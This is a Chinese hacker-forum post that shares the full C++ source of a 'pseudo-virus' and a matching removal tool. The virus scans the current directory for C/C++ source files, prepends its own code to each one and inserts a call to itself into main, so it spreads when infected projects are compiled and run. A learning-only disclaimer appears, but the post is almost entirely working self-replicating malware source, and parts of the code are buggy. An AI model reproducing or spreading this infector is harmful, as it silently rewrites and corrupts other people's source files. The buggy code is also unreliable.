c++伪病毒

1285 0
yinminghao 2024-1-9 12:39:20 | 显示全部楼层 |阅读模式
c++伪病毒
  1. //START
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <string>
  5. #include <iostream>
  6. using namespace std;
  7. //此程序仅供病毒原理学习之用
  8. //请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
  9. //保留所有权利,东北大学秦皇岛分校2009年6月1日
  10. void vir()
  11. {
  12. string CurFileName = __FILE__;//绝对路径
  13. string obCurFileName          //相对路径
  14.    = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
  15. WIN32_FIND_DATA FindFileData;
  16. HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
  17. string VirusCode[100];//病毒代码
  18. string FileCode[500]; //宿主代码

  19. int CodeLen = 0;//病毒代码长度
  20. int FileLen = 0;//宿主代码长度

  21. //病毒函数调用应当插在"main("后面的第一个"{"后面
  22. //在C++中main有int main(),int main(int arg,char **r)等形式
  23. int InsertLoc = 0;

  24. //提取待传播的当前文件中的病毒代码
  25. ifstream VirusFile(obCurFileName.c_str());
  26. for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
  27. {
  28.    if(VirusCode[CodeLen] == "//END")
  29.    {
  30.     CodeLen++;
  31.     break;
  32.    }
  33. }
  34. VirusFile.close();
  35. //依次感染宿主文件
  36. while (true)
  37. {
  38.    //不能感染当前.cpp文件和已感染的文件
  39.    if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
  40.    {
  41.     cout<<FindFileData.cFileName<<":是感染源!/n";
  42.    }
  43.    else//感染其它文件
  44.    {
  45.     //加载宿主文件
  46.     ifstream ibe(FindFileData.cFileName);
  47.     for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
  48.     {
  49.      if (FileCode[FileLen].find("main") != -1)
  50.      {
  51.       InsertLoc = FileLen;
  52.      }
  53.     }
  54.     ibe.close();
  55.     if(FileCode[0] == "//START")//该文件已被感染
  56.     {
  57.      cout<<FindFileData.cFileName<<":已携带了病毒!/n";
  58.     }
  59.     else if (FileLen > 500)
  60.     {
  61.      cout<<FindFileData.cFileName<<":文件太大了!/n";
  62.     }
  63.     else
  64.     {
  65.      //打开宿主文件
  66.      ofstream be(FindFileData.cFileName);
  67.      //插入病毒代码
  68.      for(int i = 0;i < CodeLen;i++)
  69.      {
  70.       be<<VirusCode[i]<<endl;
  71.      }
  72.      //病毒函数调用位置前文本插入
  73.      for(int i = 0;i < InsertLoc;i++)
  74.      {
  75.       be<<FileCode[i]<<endl;
  76.      }
  77.      //插入函数调用vir()
  78.      for(int i = InsertLoc;i < FileLen;i++)
  79.      {
  80.       int j = FileCode[i].find('{');
  81.       if(j != -1)
  82.       {
  83.        FileCode[i].insert(j + 1,"/nvir();");
  84.        break;
  85.       }
  86.      }
  87.      //病毒函数调用位置后插入剩余文本
  88.      for(int i = InsertLoc;i < FileLen;i++)
  89.      {
  90.       be<<FileCode[i]<<endl;
  91.      }
  92.      be.close();
  93.      cout<<FindFileData.cFileName<<":感染成功!/n";
  94.     }
  95.    }
  96.    if (FindNextFile(hFind, &FindFileData) == false) break;
  97. }
  98. }
  99. //END
  100. int main()
  101. {
  102. vir();
  103. return 0;
  104. }
  105. 杀毒程序:
  106. #include <windows.h>
  107. #include <fstream>
  108. #include <string>
  109. #include <vector>
  110. #include <iostream>
  111. using namespace std;
  112. //此程序仅供病毒原理学习之用
  113. //请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
  114. //保留所有权利,东北大学秦皇岛分校2009年6月1日
  115. void revir()
  116. {
  117. WIN32_FIND_DATA FindFileData;
  118. HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

  119. string FileCode[500];

  120. //病毒函数调用应当插在"main"后面的第一个"{"后面
  121. //在C++中main有int main(),int main(int arg,char **r)等形式
  122. //依次清除宿主文件
  123. while (true)
  124. {
  125.    //加载文件
  126.    int FileLen = 0; //宿主代码长度
  127.    int MainLoc = 0; //主函数位置
  128.   
  129.    ifstream ibe(FindFileData.cFileName);
  130.    getline(ibe,FileCode[0]);
  131.   
  132.    if(FileCode[0] == "//START")//当前文件被感染过
  133.    {
  134.     //病毒代码要过虑掉
  135.     for(FileLen = 0;getline(ibe,FileCode[0]);)
  136.     {
  137.      if(FileCode[FileLen] == "//END")
  138.      {
  139.       break;
  140.      }
  141.     }
  142.     //宿主未感染前的代码
  143.     for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
  144.     {
  145.      if(FileCode[FileLen].find("main") != -1)
  146.      {
  147.       MainLoc = FileLen;
  148.      }
  149.     }
  150.    
  151.     //清除主文件中的函数调用
  152.     for (int i = MainLoc;i < FileLen;i++)
  153.     {
  154.      if(FileCode[i].find('{') != -1)
  155.      {
  156.       FileCode[i + 1] = "";
  157.       break;
  158.      }
  159.     }
  160.     ibe.close();
  161.    
  162.     ofstream be(FindFileData.cFileName);
  163.     for(int i = 0;i < FileLen;i++)
  164.     {
  165.      be<<FileCode[i]<<endl;
  166.     }
  167.     be.close();
  168.     cout<<FindFileData.cFileName<<":病毒清除成功/n";
  169.    }
  170.    cout<<FindFileData.cFileName<<":没有被感染!/n";
  171.    if (FindNextFile(hFind, &FindFileData) == false) break;
  172. }
  173. }
  174. int main()
  175. {
  176. revir();
  177. return 0;
  178. }
复制代码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

yinminghao

初入联盟

关注
  • 1
    主题
  • 0
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行